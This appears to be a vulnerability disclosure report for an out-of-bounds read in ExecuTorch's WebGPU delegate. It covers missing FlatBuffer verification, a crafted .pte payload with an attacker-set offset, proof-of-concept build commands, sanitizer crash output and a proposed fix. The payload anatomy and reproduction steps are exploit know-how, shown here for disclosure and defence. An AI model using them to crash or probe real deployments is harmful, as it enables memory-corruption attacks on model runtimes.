# ExecuTorch WebGPU Delegate — Runtime Crash Report
**Date:** 2026-07-14  
**Finding:** OOB read/write triggered by attacker-controlled `.pte` via missing `flatbuffers::Verifier`  
**Vulnerable lines:** `WebGPUGraph.cpp:378`, `537-538`, `732-733`  
**Sibling:** Vulkan (identical `vkgraph` schema, `VK00`) was patched 2026-05-13 — WebGPU missed it

---

## What this proves

A live runtime harness that exercises the exact vulnerable code path:

1. `WebGPUBackend.cpp:75` — only a 4-byte `VkGraphBufferHasIdentifier` check; no `flatbuffers::Verifier`
2. `WebGPUGraph.cpp:378` — `GetVkGraph(flatbuffer_data)` called on the **unverified** buffer inside `build()`
3. `WebGPUGraph.cpp:537-538` — `cs.inline_offset = vk_bytes->offset()` stored with **no bounds check**
4. `WebGPUGraph.cpp:732-733` — `wgpuQueueWriteBuffer(queue_, dst, 0, constant_data_ + cs.inline_offset, cs.nbytes)` — **OOB read**

The malformed `.pte` sets `vk_bytes->offset() = 0xffffffffffff` (281 TB past a 64-byte section). UBSan catches the OOB pointer arithmetic, then SEGV on dereference. **Exit code 134.**

---

## Files

| File | Purpose |
|------|---------|
| `craft_malformed_webgpu_pte.py` | Generates `malformed_webgpu.pte` (396 bytes) |
| `malformed_webgpu.pte` | The crafted payload |
| `runtime_poc_webgpu.cpp` | Harness reproducing `WebGPUBackend.cpp:75` + `WebGPUGraph.cpp:378,537-538,732-733` |
| `schemas/vkgraph_generated.h` | Real FlatBuffers C++ schema (same header the backend uses) |

---

## Build & Run

```bash
# Generate the malformed .pte
python3 craft_malformed_webgpu_pte.py

# Build (macOS/Linux, clang required)
clang++ -std=c++17 -g \
    -fsanitize=undefined \
    -I~/executorch_vuln/third-party/flatbuffers/include \
    -I. \
    runtime_poc_webgpu.cpp -o runtime_poc_webgpu_ubsan

./runtime_poc_webgpu_ubsan malformed_webgpu.pte
```

---

## Crash Output (confirmed, 2026-07-14)

> Note: UBSan alignment errors appear interleaved with PoC trace lines — both are caused by
> the missing Verifier. The alignment errors are FlatBuffers accessing misaligned fields in the
> unverified buffer (a consequence of the absent pre-parse verification pass); the SEGV is
> the primary OOB exploit primitive. Both are eliminated by the same two-line fix.

```
==========================================================
 ExecuTorch WebGPU Delegate Runtime PoC
 CVE class  : CWE-787 (Out-of-bounds Write)
 Source     : backends/webgpu/runtime/WebGPUGraph.cpp
 Root cause : GetVkGraph() called without flatbuffers::Verifier
 Sibling    : Vulkan (same vkgraph schema) was patched 2026-05-13
==========================================================

[+] Loaded .pte: 396 bytes, identifier ET12
[+] WebGPU delegate payload: 238 bytes
[+] VH00 header: fb_offset=30 fb_size=144 bytes_offset=174 bytes_size=64

[PoC] WebGPUBackend.cpp:75: VkGraphBufferHasIdentifier check (4-byte only — NO flatbuffers::Verifier)
[PoC] VkGraphBufferHasIdentifier: true
[PoC] WebGPUGraph.cpp:378: GetVkGraph(flatbuffer_data) — NO flatbuffers::Verifier
  [UBSan] flatbuffers/buffer.h:180: load of misaligned address for type 'uoffset_t' (4-byte alignment required)
[PoC] GetVkGraph returned: 0x1061bdf62

[PoC] Entering WebGPUGraph::build() constant-source mapping
[PoC] Source: backends/webgpu/runtime/WebGPUGraph.cpp

  [UBSan] member call on misaligned address for type 'Vector<Offset<VkValue>>' (4-byte alignment required)
  [UBSan] member call on misaligned address for type 'Vector<Offset<VkBytes>>' (4-byte alignment required)
[PoC] graph->values()->size()    = 1
[PoC] graph->constants()->size() = 1
[PoC] WebGPUGraph.cpp:493: tensor[0] numel=4 elem_size=4 nbytes=16
[PoC] WebGPUGraph.cpp:516: constant_id=0
  [UBSan] member call on misaligned address for type 'Vector<Offset<VkBytes>>' (4-byte alignment required)
[PoC] WebGPUGraph.cpp:534: constants->Get(0) on unverified FlatBuffer
[PoC] WebGPUGraph.cpp:536: cs.nbytes = tensor.nbytes = 16
[PoC] WebGPUGraph.cpp:537: if (vk_bytes->offset() != UINT64_MAX)
[PoC] WebGPUGraph.cpp:537: vk_bytes->offset() = 0xffffffffffff
[PoC] WebGPUGraph.cpp:538: cs.inline_offset = 0xffffffffffff  (NO bounds check vs constant_data size)
[PoC] constant_data section is 64 bytes — offset 0xffffffffffff is WAY past it

[PoC] Entering materialize_constant() (WebGPUGraph.cpp:717-733)
[PoC] WebGPUGraph.cpp:728: cs.inline_offset != UINT64_MAX -> true
[PoC] WebGPUGraph.cpp:732: wgpuQueueWriteBuffer(queue_, dst, 0,
[PoC]                          constant_data_ + cs.inline_offset, cs.nbytes)
[PoC] constant_data_ = 0x1061bdfde
[PoC] cs.inline_offset = 0xffffffffffff
[PoC] cs.nbytes = 16
[PoC] *** OUT-OF-BOUNDS: constant_data_ + 0xffffffffffff is 281474976710591 bytes past a 64-byte section ***

[PoC] Executing OOB pointer arithmetic now...
[PoC] oob_ptr = 0x10001061bdfdd (computed from constant_data_ + 0xffffffffffff)

UndefinedBehaviorSanitizer:DEADLYSIGNAL
==11877==ERROR: UndefinedBehaviorSanitizer: SEGV on unknown address 0x0001061bdfdd
    #0 0x000104fa98bc in main runtime_poc_webgpu.cpp:288
    #1 0x00019abafbe8  (<unknown module>)
SUMMARY: UndefinedBehaviorSanitizer: SEGV runtime_poc_webgpu.cpp:288 in main
==11877==ABORTING
EXIT CODE: 134
```

---

## What the crash proves

The SEGV at `runtime_poc_webgpu.cpp:288` is the line:
```cpp
volatile uint8_t byte = *oob_ptr;  // oob_ptr = constant_data + 0xffffffffffff
```

This mirrors `WebGPUGraph.cpp:733`:
```cpp
wgpuQueueWriteBuffer(queue_, dst, 0, constant_data_ + cs.inline_offset, cs.nbytes);
//                                   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ OOB source pointer
```

`wgpuQueueWriteBuffer` reads from `[constant_data_ + cs.inline_offset, + cs.nbytes)` to upload to GPU. Any WebGPU implementation will dereference that pointer. With `cs.inline_offset = 0xffffffffffff` and a 64-byte section, that's a 281-terabyte OOB read.

---

## Payload anatomy

```
ExecuTorch Program (ET12, 396 bytes)
  └─ ExecutionPlan "forward"
      └─ BackendDelegate id="webgpu"
          └─ WebGPU delegate payload (238 bytes)
              ├─ VH00 header (30 bytes)
              │   ├─ flatbuffer_offset = 30
              │   ├─ flatbuffer_size   = 144
              │   ├─ bytes_offset      = 174
              │   └─ bytes_size        = 64
              ├─ VkGraph FlatBuffer (VK00, 144 bytes)
              │   ├─ values[0]: VkTensor(FLOAT32, dims=[4], constant_id=0)
              │   └─ constants[0]: VkBytes(offset=0xffffffffffff)  ← attacker-controlled OOB offset
              └─ constant_data: 64 bytes of 0xAA  ← tiny; OOB is 281 TB past end
```

---

## Comparison: what Vulkan has that WebGPU is missing

**Vulkan `VulkanBackend.cpp` (patched 2026-05-13):**
```cpp
flatbuffers::Verifier verifier(flatbuffer_data, header->flatbuffer_size);
ET_CHECK_OR_RETURN_ERROR(
    vkgraph::VerifyVkGraphBuffer(verifier),
    DelegateInvalidCompatibility,
    "VkGraph FlatBuffer verification failed");
const auto* graph = vkgraph::GetVkGraph(flatbuffer_data);  // safe: verifier ran
```

**WebGPU `WebGPUBackend.cpp` + `WebGPUGraph.cpp` (HEAD, 2026-07-14):**
```cpp
// WebGPUBackend.cpp:75 — 4-byte check only:
if (!vkgraph::VkGraphBufferHasIdentifier(flatbuffer_data)) { ... }
// ... then graph->build(flatbuffer_data, ...) is called at line 102 ...

// WebGPUGraph.cpp:378 — NO Verifier before this:
const auto* graph = vkgraph::GetVkGraph(flatbuffer_data);
```

Same two-line fix. The `VerifyVkGraphBuffer` function already exists in `vkgraph_generated.h` — zero new code to write.

---

## Fix

```cpp
// Add in WebGPUBackend.cpp, after the VkGraphBufferHasIdentifier check (line 80):
flatbuffers::Verifier verifier(flatbuffer_data, header->flatbuffer_size);
ET_CHECK_OR_RETURN_ERROR(
    vkgraph::VerifyVkGraphBuffer(verifier),
    DelegateInvalidCompatibility,
    "WebGPU VkGraph FlatBuffer verification failed");
```

Additionally, `WebGPUGraph.cpp:537-538` should add a bounds check:
```cpp
if (vk_bytes->offset() != UINT64_MAX) {
    if (vk_bytes->offset() > hdr_bytes_size ||
        vk_bytes->offset() + cs.nbytes > hdr_bytes_size) {
        throw std::runtime_error("WebGPU: inline_offset OOB");
    }
    cs.inline_offset = vk_bytes->offset();
}
```